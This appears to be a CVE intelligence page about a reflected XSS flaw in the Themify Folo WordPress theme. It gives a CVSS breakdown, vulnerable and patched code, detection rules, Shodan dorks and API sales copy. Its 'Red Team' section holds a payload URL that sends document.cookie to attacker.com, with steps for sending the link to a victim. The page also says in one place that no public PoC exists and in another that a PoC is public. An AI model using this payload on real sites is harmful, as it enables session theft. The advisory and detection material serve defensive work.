☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Themify logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-31013

CVE-2025-31013 Cross-Site Scripting in Themify
📅 PUBLISHED: 2026-06-17 11:39 UTC 🔄 UPDATED: 2026-10-01 00:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-31013 is a reflected Cross-Site Scripting (XSS) vulnerability in the Themify Folo WordPress theme, affecting versions up to and including 1.9.6. This flaw allows an unauthenticated attacker to inject arbitrary JavaScript into a web page, which executes in the context of a victim’s browser when they click a crafted link. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given that this is a WordPress theme, the attack surface is broad, as many sites may be running outdated versions. The CVSS score of 7.1 (High) reflects the ease of exploitation and potential for data theft, session hijacking, or defacement. No public proof-of-concept or patch is currently available, making detection and mitigation critical.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Users who installed the theme via the WordPress admin dashboard may not receive automatic updates if the theme is no longer maintained. Organizations should audit their WordPress installations for the presence of Themify Folo and ensure it is either updated or replaced.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must click a malicious link.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: High. The vulnerability is easy to exploit and can lead to session hijacking, phishing, or malware distribution.

Deep Dive & Mechanics

The Themify Folo theme fails to sanitize user input in certain URL parameters or form fields before reflecting it in the HTML response. An attacker can craft a URL containing a malicious script payload, such as:

https://victim-site.com/?search=<script>alert('XSS')</script>

When a user visits this URL, the server returns a page that includes the unsanitized payload, causing the browser to execute the script. The vulnerability likely exists in search functionality, error messages, or other dynamic content areas where user input is echoed back without proper encoding.

Vulnerable vs. Patched Code

Vulnerable Code (Themify Folo <= 1.9.6):

// In search.php or similar template
echo '<p>Search results for: ' . $_GET['s'] . '</p>';

Patched Code (Hypothetical fix):

// Properly escape output
echo '<p>Search results for: ' . esc_html( $_GET['s'] ) . '</p>';

The vulnerable code directly outputs the $_GET['s'] parameter without sanitization. The patched version uses WordPress’s esc_html() function to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

  1. Setup: Deploy a local WordPress instance with Themify Folo version 1.9.6.
  2. Craft Payload: Create a URL with a reflected XSS payload:
    http://localhost/wp-content/themes/folo/search.php?s=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Deliver: Send the link to a victim via email or social engineering.
  4. Execute: When the victim clicks the link, the script executes and exfiltrates cookies to the attacker’s server.

Blue Team (Defensive)

  1. Detection: Monitor web server logs for unusual query strings containing <script> or onerror= patterns.
  2. Mitigation: Implement a Web Application Firewall (WAF) rule to block reflected XSS attempts.
  3. Response: If exploitation is detected, isolate the affected user session and rotate credentials.

Indicators of Compromise (IOCs)

  • Network: HTTP requests with query parameters containing <script>, onerror, alert(, or base64-encoded JavaScript.
  • Host: Web server logs showing repeated requests to search.php or similar endpoints with suspicious parameters.
  • Application: Unexpected JavaScript execution in the browser, such as pop-ups or redirects.

Detection Engineering

YARA Rule

rule CVE_2025_31013_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Themify Folo theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31013"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/i
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $payload3 = /onload\s*=\s*["']?[^"']*["']?/i
        $theme_path = /\/wp-content\/themes\/folo\//i
    condition:
        any of ($payload*) and $theme_path
}

Sigma Rule

title: Reflected XSS Attempt Against Themify Folo Theme
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with XSS payloads targeting Themify Folo theme
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
        cs-uri-stem|contains: '/wp-content/themes/folo/'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-31013 Reflected XSS in Themify Folo"; flow:to_server,established; content:"/wp-content/themes/folo/"; http_uri; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable or remove the Themify Folo theme if not essential. Replace with a maintained alternative.
  2. Short-term: Apply a WAF rule to block reflected XSS patterns. Example ModSecurity rule:
    SecRule ARGS "@rx <script>" "id:1000001,phase:2,deny,status:403,msg:'Reflected XSS blocked'"
    
  3. Long-term: Monitor the Themify vendor for a patched version. If none is released, consider custom development to sanitize all user inputs using esc_html() or wp_kses().
  4. User Education: Train users to avoid clicking suspicious links and to report unexpected browser behavior.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Folo"
http.html:"wp-content/themes/folo"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-31013/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.